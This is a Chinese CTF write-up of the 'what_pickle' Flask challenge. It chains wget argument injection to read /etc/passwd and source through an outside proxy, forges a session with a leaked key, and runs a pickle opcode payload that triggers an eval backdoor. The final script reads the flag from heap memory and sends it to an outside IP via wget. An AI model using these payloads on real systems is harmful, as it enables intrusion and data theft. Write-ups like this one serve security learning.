巅峰极客2021 what_pickle——一道综合性的python web
前言
這題好像是最少人做出的web,考察的知識點比較多,綜合性比較強,感覺挺有意思的。很多人都是卡在某個知識點,尤其是最后讀flag階段??偟膩碚f,由于這題涉及到各種很經典的python安全的知識點,挺適合剛接觸python安全的初學者學習。
總的來說,流程是這樣的。
debug導致部分源碼泄露->wget參數注入讀源碼->session偽造->pickle反序列化->利用proc目錄/構造uaf讀flag
分析
信息搜集一波。得到如下幾個目錄。
[01:33:40] 200 - 2KB - /console [01:33:50] 500 - 14KB - /home [01:33:51] 500 - 15KB - /images [01:33:52] 200 - 1KB - /index [01:33:56] 405 - 178B - /login值得注意的是home目錄和images目錄的http狀態碼為500
訪問/home和images發現是python3的flask框架,且開了debug模式。那么想到,如果有任意讀文件漏洞,可以打flask的pin。所以可以多關注一下任意讀。
信息泄露
由于開了debug模式,所以有部分源碼泄露。
在訪問http://192.168.37.140/images 的時候,可以發現
這段代碼用wget去獲取圖片,并且還有可以控制的參數。獲取到argv參數后,把argv參數作為一個list,其中,給每個argv參數前都添加了-或者—,以防止惡意url的注入。且subprocess.run時,command里面每一個元素都是單獨作為一個參數,無法像bash shell那樣做命令注入。
wget參數注入讀源碼
雖然看似不行,還是有方法的,wget是可以開啟代理的。如果開啟代理,那么
具體來說有三種開啟代理的方式:
這里我們可以使用-e http_proxy=http://xxx 來將其指向我們的服務器上。
更多參數的詳細信息可以參考
Wgetrc Commands (GNU Wget 1.21.1-dirty Manual)
除此之外,還可以用—post-file來傳輸文件傳輸文件。因此,任意文件讀的payload就構建好了。如下
192.168.37.140/images?image=index.html&argv=—post-file=/etc/passwd&argv=-e http_proxy=http://1.116.123.136:1234
接下來讀源代碼。
/app/app.py
from flask import Flask, request, session, render_template, url_for,redirect import pickle import io import sys import base64 import random import subprocess from ctypes import cdll from config import SECRET_KEY, notadmin,usercdll.LoadLibrary("./readflag.so")app = Flask(__name__) app.config.update(dict(SECRET_KEY=SECRET_KEY, ))class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/') @app.route('/index') def index():if session.get('username', None):return redirect(url_for('home'))else:return render_template('index.html')@app.route('/login', methods=["POST"]) def login():name = request.form.get('username', '')data = request.form.get('data', 'test')User = user(name,data)session["info"]=base64.b64encode(pickle.dumps(User))return redirect(url_for('home'))@app.route('/home') def home():info = session["info"]User = restricted_loads(base64.b64decode(info))Jpg_id = random.randint(1,5)return render_template('home.html',id = str(Jpg_id), info = User.data)@app.route('/images') def images():command=["wget"]argv=request.args.getlist('argv')true_argv=[x if x.startswith("-") else '--'+x for x in argv]image=request.args['image']command.extend(true_argv)command.extend(["-q","-O","-"])command.append("http://127.0.0.1:8080/"+image)image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)return image_data.stdoutif __name__ == '__main__':app.run(host='0.0.0.0', debug=True, port=80)/app/config.py
SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"notadmin={"admin":"no"}class user():def __init__(self, username, data):self.username = usernameself.data = datadef backdoor(cmd):if isinstance(cmd,list) and notadmin["admin"]=="yes":s=''.join(cmd)eval(s)flask debug pin?
前面說了,開啟了debug模式,那么配合任意文件讀可以打pin,直接執行python命令。
flask的debug模式提供了一個web上的命令行接口。而這個接口是需要pin碼才能訪問的。
這個pin碼的生成與六個因素有關,其中最重要的是2個因素,一個是網卡地址,這個可以通過執行uuid.getnode()或者讀/sys/class/net/eth0/address來獲得。另一個 是機器id,可以通過執行get_machine_id()或者讀/etc/machine-id來獲得。
具體exp可以參考https://xz.aliyun.com/t/2553
這里我本地環境下可以成功生成pin,但是遠程環境沒有成功。因此嘗試下一條思路。
session偽造觸發pickle反序列化rce
關注到有SECRET_KEY=“On_You_fffffinddddd_thi3_kkkkkkeeEEy”
而flask的session存在客戶端,用base64+簽名來防篡改。但是獲取到簽名算法的key后,我們有能力偽造flask session。
在home路由處觸發session的pickle反序列化,而pickle反序列化是可以執行pickle的opcode的。
@app.route('/home') def home():info = session["info"]User = restricted_loads(base64.b64decode(info))Jpg_id = random.randint(1,5)return render_template('home.html',id = str(Jpg_id), info = User.data)關于pickle反序列化執行可以參考
https://xz.aliyun.com/t/7436
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()這里限制了加載的模塊只能為config里的,名字不能有__。但是可以通過config的backdoor函數,繞過。
def backdoor(cmd):if isinstance(cmd,list) and notadmin["admin"]=="yes":s=''.join(cmd)eval(s)可以看到,要使用backdoor函數必須使得notadmin[“admin”]==“yes”
而在config.py中notadmin={“admin”:“no”},因此需要通過pickle opcode把這個全局變量覆蓋成yes。
讀flag
app.py里 有一個cdll.LoadLibrary("./readflag.so")
所以獲取readflag.so,放到ida里反編譯一下。
可以看到就一個easy()函數。猜測flag文件沒有直接讀取的權限,要通過readflag.so來讀。但是這里看有個問題是,easy函數執行完成后,把flag讀到堆上,但是并沒有返回指針。
這里有兩種方法讀flag。分別通過/proc目錄和構造uaf的方式來讀取堆上的flag。
法1:讀proc目錄
proc是linux偽文件系統,保存有內存信息。其中/proc/self/maps保存當前進程的虛擬內存各segment的映射關系??梢垣@取到堆地址的范圍。
而訪問/proc/self/mem即訪問實際的進程內存。需要注意的是,如果訪問沒有被映射的內存區域則會觸發錯誤,要把文件指針移到對應的區域才能成功訪問。
具體代碼如下
from ctypes import cdll a=cdll.LoadLibrary("./readflag.so") a.easy()import re f = open('/proc/self/maps', 'r') vmmap = f.read() print(vmmap) re_obj = re.search(r'(.*)-(.*) rw.*heap', vmmap) heap = re_obj.group(1) heap_end = re_obj.group(2) print(heap) print(heap_end) heap = int('0x'+heap,16) heap_end = int('0x'+heap_end,16) f.close()f = open('/proc/self/mem', 'rb') size = heap_end - heap f.seek(heap) res = f.read(size) res = re.search(b'flag{.*}', res).group() print(res) f.close()法2:構造一個uaf來讀flag的內存數據
由于在堆管理中,為了提高效率會加一個類似于緩沖的機制??梢院唵卫斫鉃椴粫裦ree的內存馬上放棄掉,而是緩存起來,方便下次再用。利用這一特點可以構造uaf漏洞來讀flag的數據。
opcode構造
知道pickle opcode工作模式后可以利用大師傅寫的一個工具
https://github.com/eddieivan01/pker
最終exp
通過wget 把flag信息傳送到服務器上。這里利用的是uaf的方法讀flag。proc讀flag的方法構造exp過程完全一樣。
from base64 import b64encode from flask import Flask, request, session from flask.sessions import SecureCookieSessionInterface import pickle import requestsopc = b'cconfig\nnotadmin\np0\n0cconfig\nbackdoor\np1\n0g0\nS\'admin\'\nS\'yes\'\nsS\'exec("import ctypes;libc = ctypes.cdll.LoadLibrary(\\\'libc.so.6\\\');so1 = ctypes.cdll.LoadLibrary(\\\'./readflag.so\\\');malloc = libc.malloc;free = libc.free;malloc.restype = ctypes.c_void_p;a = ctypes.cast(malloc(0x64), ctypes.c_char_p);free(a);so1.easy();print(a.value);res= a.value ;import os;os.system(\\\'wget http://1.116.123.136:1234/?\\\'+str(res))")\'\np3\n0g1\n((g3\nltR.'app = Flask(__name__) app.config['SECRET_KEY'] = "On_You_fffffinddddd_thi3_kkkkkkeeEEy" serializer = SecureCookieSessionInterface().get_signing_serializer(app) opc = b64encode(opc) sess = {'info': opc} cookie = serializer.dumps(sess) print(cookie) requests.get("http://192.168.37.140/home", cookies={"session":cookie})可以看到get參數就是flag{dddd}
總結
可以看到這個題目涉及到的python安全的點很多,非常適合通過這題來延伸學習各個具體的內容。另外,在做題過程中,經常會碰到各種坑,有時候踩坑也可以換一種思路。
最后
網絡安全大師卓越培養計劃,想升職跳槽加薪的來學完可以打護網、CTF比賽,找網絡安全工作;
【學習資料】
總結
以上是生活随笔為你收集整理的巅峰极客2021 what_pickle——一道综合性的python web的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 身为网络安全的,连BlackMatter
- 下一篇: 【建议收藏】这个工具专门用于寻找路由器中